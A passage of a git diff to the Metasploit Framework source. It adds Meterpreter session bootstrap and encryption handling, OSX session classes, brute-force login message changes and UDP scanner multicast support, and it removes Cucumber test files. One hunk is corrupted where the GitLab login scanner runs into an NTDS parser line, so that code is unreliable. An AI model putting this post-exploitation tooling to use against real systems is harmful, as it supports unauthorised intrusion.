-# "#{scenario.feature.title} #{scenario.name}" -# when Cucumber::Ast::OutlineTable::ExampleRow -# scenario_outline = scenario.scenario_outline -# -# "#{scenario_outline.feature.title} #{scenario_outline.name} #{scenario.name}" -# else -# raise TypeError, "Don't know how to extract command name from #{scenario.class}" -# end -# -# # Used in simplecov_setup so that each scenario has a different name and their coverage results are merged instead -# # of overwriting each other as 'Cucumber Features' -# set_env('SIMPLECOV_COMMAND_NAME', command_name) -# -# simplecov_setup_pathname = Pathname.new(__FILE__).expand_path.parent.join('simplecov_setup') -# # set environment variable so child processes will merge their coverage data with parent process's coverage data. -# set_env('RUBYOPT', "#{ENV['RUBYOPT']} -r#{simplecov_setup_pathname}") -# end -# -# Before('@db') do |scenario| -# dbconfig = YAML::load(File.open(Metasploit::Framework::Database.configurations_pathname)) -# ActiveRecord::Base.establish_connection(dbconfig["test"]) -# end -# end diff --git a/features/support/simplecov_setup.rb b/features/support/simplecov_setup.rb deleted file mode 100644 index 78cc264fc3..0000000000 --- a/features/support/simplecov_setup.rb +++ /dev/null @@ -1,16 +0,0 @@ -# @note this file is loaded in env.rb to setup simplecov using RUBYOPTs for child processes - -simplecov_command_name = ENV['SIMPLECOV_COMMAND_NAME'] - -# will not be set if hook does not run because `bundle install --without coverage` -if simplecov_command_name - require 'simplecov' - - require 'pathname' - - root = Pathname(__FILE__).expand_path.parent.parent.parent - - SimpleCov.command_name(simplecov_command_name) - SimpleCov.root(root) - load root.join('.simplecov') -end diff --git a/features/support/stty.rb b/features/support/stty.rb deleted file mode 100644 index a8afb704c4..0000000000 --- a/features/support/stty.rb +++ /dev/null @@ -1,11 +0,0 @@ -require 'pathname' - -support = Pathname.new(__FILE__).realpath.parent - -paths = [ - # adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty - # output. - support.join('bin').to_path, - ENV['PATH'] -] -ENV['PATH'] = paths.join(File::PATH_SEPARATOR) diff --git a/features/support/targets.yml.example b/features/support/targets.yml.example deleted file mode 100644 index 0752a6cc7e..0000000000 --- a/features/support/targets.yml.example +++ /dev/null @@ -1,7 +0,0 @@ -windows: - - - hostname: wxpsp0 - ip: 127.0.0.100 - - - hostname: wxpsp2 - ip: 127.0.0.101 diff --git a/lib/metasploit/framework/database/cucumber.rb b/lib/metasploit/framework/database/cucumber.rb deleted file mode 100644 index 562504c88b..0000000000 --- a/lib/metasploit/framework/database/cucumber.rb +++ /dev/null @@ -1,36 +0,0 @@ -require 'metasploit/framework/database' - -module Metasploit::Framework::Database::Cucumber - def self.project_configurations_path - Rails.root.join('config', 'database.yml').to_path - end - - def self.backup_project_configurations - if File.exist?(project_configurations_path) - # assume that the backup file is from a previously aborted run and it contains the real database.yml data, so - # just delete the fake database.yml and the After hook will restore the real database.yml from the backup location - if File.exist?(backup_project_configurations_path) - File.delete(project_configurations_path) - else - # project contains the real database.yml and there was no previous, aborted run. - File.rename(project_configurations_path, backup_project_configurations_path) - end - end - end - - def self.backup_project_configurations_path - "#{project_configurations_path}.cucumber.bak" - end - - def self.restore_project_configurations - if File.exist?(backup_project_configurations_path) - if File.exist?(project_configurations_path) - # Remove fake, leftover database.yml - File.delete(project_configurations_path) - end - - File.rename(backup_project_configurations_path, project_configurations_path) - end - end -end - diff --git a/lib/metasploit/framework/login_scanner/gitlab.rb b/lib/metasploit/framework/login_scanner/gitlab.rb index 648151d13a..d895591d25 100644 --- a/lib/metasploit/framework/login_scanner/gitlab.rb +++ b/lib/metasploit/framework/login_scanner/gitlab.rb @@ -61,6 +61,10 @@ module Metasploit local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] auth_token = res.body.scan(/ e + elog("NTDS Parser: Error pulling batch - #{e}") raw_batch_data = nil end raw_batch_data diff --git a/lib/metasploit/framework/version.rb b/lib/metasploit/framework/version.rb index 7a3527a190..744c1782e1 100644 --- a/lib/metasploit/framework/version.rb +++ b/lib/metasploit/framework/version.rb @@ -30,7 +30,7 @@ module Metasploit end end - VERSION = "4.14.25" + VERSION = "4.16.11" MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i } PRERELEASE = 'dev' HASH = get_hash diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index 4a89ca1c2b..edd82099e9 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -539,8 +539,10 @@ class ReadableText columns = [] columns << 'Id' + columns << 'Name' columns << 'Type' columns << 'Checkin?' if show_extended + columns << 'Enc?' if show_extended columns << 'Local URI' if show_extended columns << 'Information' columns << 'Connection' @@ -561,6 +563,7 @@ class ReadableText row = [] row << session.sid.to_s + row << session.sname.to_s row << session.type.to_s if session.respond_to?(:session_type) row[-1] << (" " + session.session_type) @@ -575,7 +578,13 @@ class ReadableText row << '?' end - if session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty? + if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key] + row << "Y" + else + row << 'N' + end + + if session.exploit_datastore && session.exploit_datastore.has_key?('LURI') && !session.exploit_datastore['LURI'].empty? row << " (#{session.exploit_datastore['LURI']})" else row << '?' @@ -610,19 +619,23 @@ class ReadableText sess_info = session.info.to_s sess_id = session.sid.to_s + sess_name = session.sname.to_s sess_tunnel = session.tunnel_to_s + " (#{session.session_host})" sess_via = session.via_exploit.to_s sess_type = session.type.to_s sess_uuid = session.payload_uuid.to_s sess_puid = session.payload_uuid.respond_to?(:puid_hex) ? session.payload_uuid.puid_hex : nil - sess_luri = session.exploit_datastore['LURI'] || "" + sess_luri = session.exploit_datastore['LURI'] || "" if session.exploit_datastore + sess_enc = false + if session.respond_to?(:tlv_enc_key) && session.tlv_enc_key && session.tlv_enc_key[:key] + sess_enc = true + end sess_checkin = "" - sess_machine_id = session.machine_id.to_s sess_registration = "No" - if session.respond_to? :platform - sess_type << (" " + session.platform) + if session.respond_to?(:platform) + sess_type << " " + session.platform end if session.respond_to?(:last_checkin) && session.last_checkin @@ -637,20 +650,19 @@ class ReadableText end out << " Session ID: #{sess_id}\n" + out << " Name: #{sess_name}\n" out << " Type: #{sess_type}\n" out << " Info: #{sess_info}\n" out << " Tunnel: #{sess_tunnel}\n" out << " Via: #{sess_via}\n" + out << " Encrypted: #{sess_enc}\n" out << " UUID: #{sess_uuid}\n" - out << " MachineID: #{sess_machine_id}\n" out << " CheckIn: #{sess_checkin}\n" out << " Registered: #{sess_registration}\n" - if !sess_luri.empty? + unless (sess_luri || '').empty? out << " LURI: #{sess_luri}\n" end - - out << "\n" end diff --git a/lib/msf/base/sessions/command_shell_options.rb b/lib/msf/base/sessions/command_shell_options.rb index 2cf3300047..53868726ed 100644 --- a/lib/msf/base/sessions/command_shell_options.rb +++ b/lib/msf/base/sessions/command_shell_options.rb @@ -4,7 +4,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ ## diff --git a/lib/msf/base/sessions/hwbridge.rb b/lib/msf/base/sessions/hwbridge.rb index 171d8b9464..e04e7609ed 100644 --- a/lib/msf/base/sessions/hwbridge.rb +++ b/lib/msf/base/sessions/hwbridge.rb @@ -196,6 +196,10 @@ class HWBridge < Rex::Post::HWBridge::Client attr_accessor :console # :nodoc: attr_accessor :alive # :nodoc: + attr_accessor :api_version + attr_accessor :fw_version + attr_accessor :hw_version + attr_accessor :device_name private attr_accessor :rstream # :nodoc: diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index d17ee6edd7..110e1fef3d 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -40,6 +40,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client true end + def tunnel_to_s + if self.pivot_session + "Pivot via [#{self.pivot_session.tunnel_to_s}]" + else + super + end + end + # # Initializes a meterpreter session instance using the supplied rstream # that is to be used as the client's connection to the server. @@ -112,6 +120,80 @@ class Meterpreter < Rex::Post::Meterpreter::Client end + def bootstrap(datastore = {}, handler = nil) + session = self + + init_session = Proc.new do + # Configure unicode encoding before loading stdapi + session.encode_unicode = datastore['EnableUnicodeEncoding'] + + session.init_ui(self.user_input, self.user_output) + + session.tlv_enc_key = session.core.negotiate_tlv_encryption + + unless datastore['AutoVerifySession'] == false + unless session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i) + print_error("Meterpreter session #{session.sid} is not valid and will be closed") + # Terminate the session without cleanup if it did not validate + session.skip_cleanup = true + session.kill + return nil + end + end + + # always make sure that the new session has a new guid if it's not already known + guid = session.session_guid + if guid == "\x00" * 16 + guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') + session.core.set_session_guid(guid) + session.session_guid = guid + # TODO: New statgeless session, do some account in the DB so we can track it later. + else + # TODO: This session was either staged or previously known, and so we shold do some accounting here! + end + + unless datastore['AutoLoadStdapi'] == false + + session.load_stdapi + + unless datastore['AutoSystemInfo'] == false + session.load_session_info + end + + # only load priv on native windows + # TODO: abastrct this too, to remove windows stuff + if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch) + session.load_priv rescue nil + end + end + + # TODO: abstract this a little, perhaps a "post load" function that removes + # platform-specific stuff? + if session.platform == 'android' + session.load_android + end + + ['InitialAutoRunScript', 'AutoRunScript'].each do |key| + unless datastore[key].nil? || datastore[key].empty? + args = Shellwords.shellwords(datastore[key]) + print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") + session.execute_script(args.shift, *args) + end + end + + # Process the auto-run scripts for this session + if self.respond_to?(:process_autoruns) + self.process_autoruns(datastore) + end + + # Tell the handler that we have a session + handler.on_session(self) if handler + end + + # Defer the session initialization to the Session Manager scheduler + framework.sessions.schedule init_session + end + ## # :category: Msf::Session::Provider::SingleCommandShell implementors # @@ -255,14 +337,14 @@ class Meterpreter < Rex::Post::Meterpreter::Client # # Terminates the session # - def kill + def kill(reason='') begin cleanup_meterpreter self.sock.close if self.sock rescue ::Exception end # deregister will actually trigger another cleanup - framework.sessions.deregister(self) + framework.sessions.deregister(self, reason) end # diff --git a/lib/msf/base/sessions/meterpreter_multi.rb b/lib/msf/base/sessions/meterpreter_multi.rb index 44ba0a0522..0d8a3f154b 100644 --- a/lib/msf/base/sessions/meterpreter_multi.rb +++ b/lib/msf/base/sessions/meterpreter_multi.rb @@ -31,7 +31,7 @@ class Meterpreter_Multi < Msf::Sessions::Meterpreter return Msf::Sessions::Meterpreter_Java_Android.new(rstream, opts) when 'php' require 'msf/base/sessions/meterpreter_php' - return Msf::Sessions::Meterpreter_Php_Java.new(rstream, opts) + return Msf::Sessions::Meterpreter_Php_Php.new(rstream, opts) when 'windows' if opts[:payload_uuid].arch == ARCH_X86 require 'msf/base/sessions/meterpreter_x86_win' @@ -42,6 +42,8 @@ class Meterpreter_Multi < Msf::Sessions::Meterpreter end # TODO: what should we do when we get here? + # For now lets return a generic for basic functionality with http(s) communication + Msf::Sessions::Meterpreter.new(rstream, opts) end end diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index a9dcf83be4..09c8a97eff 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -3,93 +3,74 @@ require 'shellwords' module Msf -module Sessions -module MeterpreterOptions + module Sessions + # + # Defines common options across all Meterpreter implementations + # + module MeterpreterOptions - def initialize(info = {}) - super(info) + TIMEOUT_SESSION = 24 * 3600 * 7 # 1 week + TIMEOUT_COMMS = 300 # 5 minutes + TIMEOUT_RETRY_TOTAL = 60 * 60 # 1 hour + TIMEOUT_RETRY_WAIT = 10 # 10 seconds - register_advanced_options( - [ - OptBool.new('AutoLoadStdapi', [true, "Automatically load the Stdapi extension", true]), - OptBool.new('AutoVerifySession', [true, "Automatically verify and drop invalid sessions", true]), - OptInt.new('AutoVerifySessionTimeout', [false, "Timeout period to wait for session validation to occur, in seconds", 30]), - OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']), - OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']), - OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]), - OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows]), - OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"]), - OptInt.new('SessionRetryTotal', [false, "Number of seconds try reconnecting for on network failure", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_TOTAL]), - OptInt.new('SessionRetryWait', [false, "Number of seconds to wait between reconnect attempts", Rex::Post::Meterpreter::ClientCore::TIMEOUT_RETRY_WAIT]), - OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', Rex::Post::Meterpreter::ClientCore::TIMEOUT_SESSION]), - OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', Rex::Post::Meterpreter::ClientCore::TIMEOUT_COMMS]) - ], self.class) + def initialize(info = {}) + super(info) + + register_advanced_options( + [ + OptBool.new( + 'AutoLoadStdapi', + [true, "Automatically load the Stdapi extension", true] + ), + OptBool.new( + 'AutoVerifySession', + [true, "Automatically verify and drop invalid sessions", true] + ), + OptInt.new( + 'AutoVerifySessionTimeout', + [false, "Timeout period to wait for session validation to occur, in seconds", 30] + ), + OptString.new( + 'InitialAutoRunScript', + [false, "An initial script to run on session creation (before AutoRunScript)", ''] + ), + OptString.new( + 'AutoRunScript', + [false, "A script to run automatically on session creation.", ''] + ), + OptBool.new( + 'AutoSystemInfo', + [true, "Automatically capture system information on initialization.", true] + ), + OptBool.new( + 'EnableUnicodeEncoding', + [true, "Automatically encode UTF-8 strings as hexadecimal", Rex::Compat.is_windows] + ), + OptPath.new( + 'HandlerSSLCert', + [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"] + ), + OptInt.new( + 'SessionRetryTotal', + [false, "Number of seconds try reconnecting for on network failure", TIMEOUT_RETRY_TOTAL] + ), + OptInt.new( + 'SessionRetryWait', + [false, "Number of seconds to wait between reconnect attempts", TIMEOUT_RETRY_WAIT] + ), + OptInt.new( + 'SessionExpirationTimeout', + [ false, 'The number of seconds before this session should be forcibly shut down', TIMEOUT_SESSION] + ), + OptInt.new( + 'SessionCommunicationTimeout', + [ false, 'The number of seconds of no activity before this session should be killed', TIMEOUT_COMMS] + ) + ], + self.class + ) + end + end end - - # - # Once a session is created, automatically load the stdapi extension if the - # advanced option is set to true. - # - def on_session(session) - super - - # Defer the session initialization to the Session Manager scheduler - framework.sessions.schedule Proc.new { - - # Configure unicode encoding before loading stdapi - session.encode_unicode = datastore['EnableUnicodeEncoding'] - - session.init_ui(self.user_input, self.user_output) - - valid = true - - if datastore['AutoVerifySession'] - if not session.is_valid_session?(datastore['AutoVerifySessionTimeout'].to_i) - print_error("Meterpreter session #{session.sid} is not valid and will be closed") - valid = false - end - end - - if valid - - if datastore['AutoLoadStdapi'] - - session.load_stdapi - - if datastore['AutoSystemInfo'] - session.load_session_info - end - - # only load priv on native windows - if session.platform == 'windows' && [ARCH_X86, ARCH_X64].include?(session.arch) - session.load_priv rescue nil - end - end - - if session.platform == 'android' - session.load_android - end - - [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| - if !datastore[key].empty? - args = Shellwords.shellwords( datastore[key] ) - print_status("Session ID #{session.sid} (#{session.tunnel_to_s}) processing #{key} '#{datastore[key]}'") - session.execute_script(args.shift, *args) - end - end - end - - # Terminate the session without cleanup if it did not validate - if not valid - session.skip_cleanup = true - session.kill - end - - } - - end - end -end -end - diff --git a/lib/msf/base/sessions/meterpreter_x64_osx.rb b/lib/msf/base/sessions/meterpreter_x64_osx.rb new file mode 100644 index 0000000000..2e507e9055 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_x64_osx.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_x64_OSX < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.base_platform = 'osx' + self.base_arch = ARCH_X64 + end +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_x64_win.rb b/lib/msf/base/sessions/meterpreter_x64_win.rb index bfd53a09a5..14ad589896 100644 --- a/lib/msf/base/sessions/meterpreter_x64_win.rb +++ b/lib/msf/base/sessions/meterpreter_x64_win.rb @@ -21,6 +21,10 @@ class Meterpreter_x64_Win < Msf::Sessions::Meterpreter def lookup_error(code) Msf::WindowsError.description(code) end + + def supports_ssl? + false + end end end diff --git a/lib/msf/base/sessions/meterpreter_x86_osx.rb b/lib/msf/base/sessions/meterpreter_x86_osx.rb new file mode 100644 index 0000000000..c7e25efac9 --- /dev/null +++ b/lib/msf/base/sessions/meterpreter_x86_osx.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/base/sessions/meterpreter' + +module Msf +module Sessions + +### +# +# This class creates a platform-specific meterpreter session type +# +### +class Meterpreter_x86_OSX < Msf::Sessions::Meterpreter + def supports_ssl? + false + end + def supports_zlib? + false + end + def initialize(rstream, opts={}) + super + self.base_platform = 'osx' + self.base_arch = ARCH_X86 + end +end + +end +end + diff --git a/lib/msf/base/sessions/meterpreter_x86_win.rb b/lib/msf/base/sessions/meterpreter_x86_win.rb index 142b52481d..c2de448301 100644 --- a/lib/msf/base/sessions/meterpreter_x86_win.rb +++ b/lib/msf/base/sessions/meterpreter_x86_win.rb @@ -21,6 +21,10 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter def lookup_error(code) Msf::WindowsError.description(code) end + + def supports_ssl? + false + end end end diff --git a/lib/msf/base/sessions/mettle_config.rb b/lib/msf/base/sessions/mettle_config.rb index c57c13b8b2..f135818614 100644 --- a/lib/msf/base/sessions/mettle_config.rb +++ b/lib/msf/base/sessions/mettle_config.rb @@ -3,6 +3,7 @@ require 'msf/core/payload/transport_config' require 'msf/core/payload/uuid/options' require 'base64' +require 'securerandom' module Msf module Sessions @@ -53,6 +54,7 @@ module Msf def generate_config(opts={}) opts[:uuid] ||= generate_payload_uuid + case opts[:scheme] when 'http' transport = transport_config_reverse_http(opts) @@ -66,8 +68,15 @@ module Msf else raise ArgumentError, "Unknown scheme: #{opts[:scheme]}" end + opts[:uuid] = Base64.encode64(opts[:uuid].to_raw).strip - opts.slice(:uuid, :uri, :debug, :log_file) + guid = "\x00" * 16 + unless opts[:stageless] == true + guid = [SecureRandom.uuid.gsub(/-/, '')].pack('H*') + end + opts[:session_guid] = Base64.encode64(guid) + + opts.slice(:uuid, :session_guid, :uri, :debug, :log_file) end end diff --git a/lib/msf/base/simple/auxiliary.rb b/lib/msf/base/simple/auxiliary.rb index 35f5ec96f3..de8930ce02 100644 --- a/lib/msf/base/simple/auxiliary.rb +++ b/lib/msf/base/simple/auxiliary.rb @@ -138,6 +138,14 @@ protected mod.setup mod.framework.events.on_module_run(mod) mod.run + rescue Msf::Auxiliary::Complete + mod.cleanup + return + rescue Msf::Auxiliary::Failed => e + mod.error = e + mod.print_error("Auxiliary aborted due to failure: #{e.message}") + mod.cleanup + return rescue ::Timeout::Error => e mod.error = e mod.print_error("Auxiliary triggered a timeout exception") diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index 9cda2a1338..69554992c1 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -108,6 +108,14 @@ protected mod.cleanup return end + rescue Msf::Post::Complete + mod.cleanup + return + rescue Msf::Post::Failed => e + mod.error = e + mod.print_error("Post aborted due to failure: #{e.message}") + mod.cleanup + return rescue ::Timeout::Error => e mod.error = e mod.print_error("Post triggered a timeout exception") diff --git a/lib/msf/core/auxiliary.rb b/lib/msf/core/auxiliary.rb index 5f542c5d43..2aea6da3b1 100644 --- a/lib/msf/core/auxiliary.rb +++ b/lib/msf/core/auxiliary.rb @@ -15,6 +15,12 @@ class Auxiliary < Msf::Module require 'msf/core/auxiliary/mixins' + class Complete < RuntimeError + end + + class Failed < RuntimeError + end + include HasActions # @@ -152,6 +158,11 @@ class Auxiliary < Msf::Module } end + # Override Msf::Module#fail_with for Msf::Simple::Auxiliary::job_run_proc + def fail_with(reason, msg = nil) + raise Msf::Auxiliary::Failed, "#{reason.to_s}: #{msg}" + end + attr_accessor :queue protected diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index defde2af90..03b045aa0a 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -362,7 +362,6 @@ module Auxiliary::AuthBrute # Note, these special username/passwords should get deprecated # some day. Note2: Don't use with SMB and FTP at the same time! def translate_proto_datastores - switched = false ['SMBUser','FTPUSER'].each do |u| if datastore[u] and !datastore[u].empty? datastore['USERNAME'] = datastore[u] @@ -547,6 +546,20 @@ module Auxiliary::AuthBrute end end + def vprint_status(msg='') + print_brute :level => :vstatus, :msg => msg + end + + def vprint_error(msg='') + print_brute :level => :verror, :msg => msg + end + + alias_method :vprint_bad, :vprint_error + + def vprint_good(msg='') + print_brute :level => :vgood, :msg => msg + end + # Provides a consistant way to display messages about AuthBrute-mixed modules. # Acceptable opts are fairly self-explanatory, but :level can be tricky. # @@ -568,10 +581,10 @@ module Auxiliary::AuthBrute end host_ip = opts[:ip] || opts[:rhost] || opts[:host] || (rhost rescue nil) || datastore['RHOST'] host_port = opts[:port] || opts[:rport] || (rport rescue nil) || datastore['RPORT'] - msg = opts[:msg] || opts[:message] || opts[:legacy_msg] + msg = opts[:msg] || opts[:message] proto = opts[:proto] || opts[:protocol] || proto_from_fullname - complete_message = build_brute_message(host_ip,host_port,proto,msg,!!opts[:legacy_msg]) + complete_message = build_brute_message(host_ip,host_port,proto,msg) print_method = "print_#{level}" if self.respond_to? print_method @@ -582,34 +595,24 @@ module Auxiliary::AuthBrute end # Depending on the non-nil elements, build up a standardized - # auth_brute message, but support the old style used by - # vprint_status and friends as well. - def build_brute_message(host_ip,host_port,proto,msg,legacy) + # auth_brute message. + def build_brute_message(host_ip,host_port,proto,msg) ip = host_ip.to_s.strip if host_ip port = host_port.to_s.strip if host_port complete_message = nil - extracted_message = nil - if legacy # TODO: This is all a workaround until I get a chance to get rid of the legacy messages - old_msg = msg.to_s.strip - msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni - if old_msg.match(msg_regex) and !old_msg.match(msg_regex)[6].to_s.strip.empty? - complete_message = '' - unless ip.blank? && port.blank? - complete_message << "#{ip}:#{rport}" - else - complete_message << (old_msg.match(msg_regex)[4] || proto).to_s - end - - complete_message << " - " - progress = tried_over_total(ip,port) - complete_message << progress if progress - complete_message << old_msg.match(msg_regex)[6].to_s.strip - else - complete_message = msg.to_s.strip - end + old_msg = msg.to_s.strip + msg_regex = /(#{ip})(:#{port})?(\s*-?\s*)(#{proto.to_s})?(\s*-?\s*)(.*)/ni + if old_msg.match(msg_regex) + complete_message = msg.to_s.strip else complete_message = '' - complete_message << "#{proto.to_s.strip} - " if proto + unless ip.blank? && port.blank? + complete_message << "#{ip}:#{port}" + else + complete_message << proto || 'Bruteforce' + end + + complete_message << " - " progress = tried_over_total(ip,port) complete_message << progress if progress complete_message << msg.to_s.strip @@ -657,23 +660,6 @@ module Auxiliary::AuthBrute File.split(self.fullname).last.match(/^(.*)_(login|auth|identify)/)[1].upcase rescue nil end - # Legacy vprint - def vprint_status(msg='') - print_brute :level => :vstatus, :legacy_msg => msg - end - - # Legacy vprint - def vprint_error(msg='') - print_brute :level => :verror, :legacy_msg => msg - end - - alias_method :vprint_bad, :vprint_error - - # Legacy vprint - def vprint_good(msg='') - print_brute :level => :vgood, :legacy_msg => msg - end - # This method deletes the dictionary files if requested def cleanup_files path = datastore['USERPASS_FILE'] diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 5c8efdade8..b866b5091f 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -44,6 +44,7 @@ module Auxiliary::Login Unable | Error | Denied | Reject | Refuse | Close | Closing | %\ Bad | Sorry | + ^http | html | Not\ on\ system\ console | Enter\ username\ and\ password | Auto\ Apply\ On | diff --git a/lib/msf/core/auxiliary/report.rb b/lib/msf/core/auxiliary/report.rb index e074c8b2b5..af531e7163 100644 --- a/lib/msf/core/auxiliary/report.rb +++ b/lib/msf/core/auxiliary/report.rb @@ -274,7 +274,28 @@ module Auxiliary::Report :workspace => myworkspace, :task => mytask }.merge(opts) - framework.db.report_vuln(opts) + vuln = framework.db.report_vuln(opts) + + # add vuln attempt audit details here during report + + timestamp = opts[:timestamp] + username = opts[:username] + mname = self.fullname # use module name when reporting attempt for correlation + + # report_vuln is only called in an identified case, consider setting value reported here + attempt_info = { + :vuln_id => vuln.id, + :attempted_at => timestamp || Time.now.utc, + :exploited => false, + :fail_detail => 'vulnerability identified', + :fail_reason => 'Untried', # Mdm::VulnAttempt::Status::UNTRIED, avoiding direct dependency on Mdm, used elsewhere in this module + :module => mname, + :username => username || "unknown", + } + + vuln.vuln_attempts.create(attempt_info) + + vuln end # This will simply log a deprecation warning, since report_exploit() diff --git a/lib/msf/core/auxiliary/udp_scanner.rb b/lib/msf/core/auxiliary/udp_scanner.rb index 6f828f8276..c453115864 100644 --- a/lib/msf/core/auxiliary/udp_scanner.rb +++ b/lib/msf/core/auxiliary/udp_scanner.rb @@ -43,18 +43,20 @@ module Auxiliary::UDPScanner datastore['BATCHSIZE'].to_i end - def udp_socket(ip, port) + def udp_socket(ip, port, bind_peer: true) + key = "#{ip}:#{port}:#{bind_peer ? 'bound' : 'unbound'}" @udp_sockets_mutex.synchronize do - key = "#{ip}:#{port}" unless @udp_sockets.key?(key) - @udp_sockets[key] = - Rex::Socket::Udp.create({ - 'LocalHost' => datastore['CHOST'] || nil, - 'LocalPort' => datastore['CPORT'] || 0, - 'PeerHost' => ip, - 'PeerPort' => port, - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - }) + sock_info = { + 'LocalHost' => datastore['CHOST'] || nil, + 'LocalPort' => datastore['CPORT'] || 0, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + } + if bind_peer + sock_info['PeerHost'] = ip + sock_info['PeerPort'] = port + end + @udp_sockets[key] = Rex::Socket::Udp.create(sock_info) add_socket(@udp_sockets[key]) end return @udp_sockets[key] @@ -123,10 +125,16 @@ module Auxiliary::UDPScanner data = data.to_binary_s if data.respond_to?('to_binary_s') resend_count = 0 - sock = nil + begin - sock = udp_socket(ip, port) - sock.send(data, 0) + addrinfo = Addrinfo.ip(ip) + unless addrinfo.ipv4_multicast? || addrinfo.ipv6_multicast? + sock = udp_socket(ip, port, bind_peer: true) + sock.send(data, 0) + else + sock = udp_socket(ip, port, bind_peer: false) + sock.sendto(data, ip, port, 0) + end rescue ::Errno::ENOBUFS resend_count += 1 @@ -136,8 +144,7 @@ module Auxiliary::UDPScanner end scanner_recv(0.1) - - ::IO.select(nil, nil, nil, 0.25) + sleep(0.25) retry diff --git a/lib/msf/core/auxiliary/web/analysis/differential.rb b/lib/msf/core/auxiliary/web/analysis/differential.rb index 0a5fbaa2a2..fa9305fe88 100644 --- a/lib/msf/core/auxiliary/web/analysis/differential.rb +++ b/lib/msf/core/auxiliary/web/analysis/differential.rb @@ -3,7 +3,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ ## module Msf diff --git a/lib/msf/core/auxiliary/web/analysis/taint.rb b/lib/msf/core/auxiliary/web/analysis/taint.rb index 1be14dbd85..81d7e375b5 100644 --- a/lib/msf/core/auxiliary/web/analysis/taint.rb +++ b/lib/msf/core/auxiliary/web/analysis/taint.rb @@ -3,7 +3,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ ## module Msf diff --git a/lib/msf/core/auxiliary/web/analysis/timing.rb b/lib/msf/core/auxiliary/web/analysis/timing.rb index ed0dc6042a..23c27703be 100644 --- a/lib/msf/core/auxiliary/web/analysis/timing.rb +++ b/lib/msf/core/auxiliary/web/analysis/timing.rb @@ -3,7 +3,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ ## module Msf diff --git a/lib/msf/core/auxiliary/web/form.rb b/lib/msf/core/auxiliary/web/form.rb index 130b0fe0b3..d31af55c50 100644 --- a/lib/msf/core/auxiliary/web/form.rb +++ b/lib/msf/core/auxiliary/web/form.rb @@ -2,7 +2,7 @@ # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ +# https://metasploit.com/framework/ require 'net/https' require 'net/http' diff --git a/lib/msf/core/auxiliary/web/fuzzable.rb b/lib/msf/core/auxiliary/web/fuzzable.rb index 07ae5ae284..4f12fd695d 100644 --- a/lib/msf/core/auxiliary/web/fuzzable.rb +++ 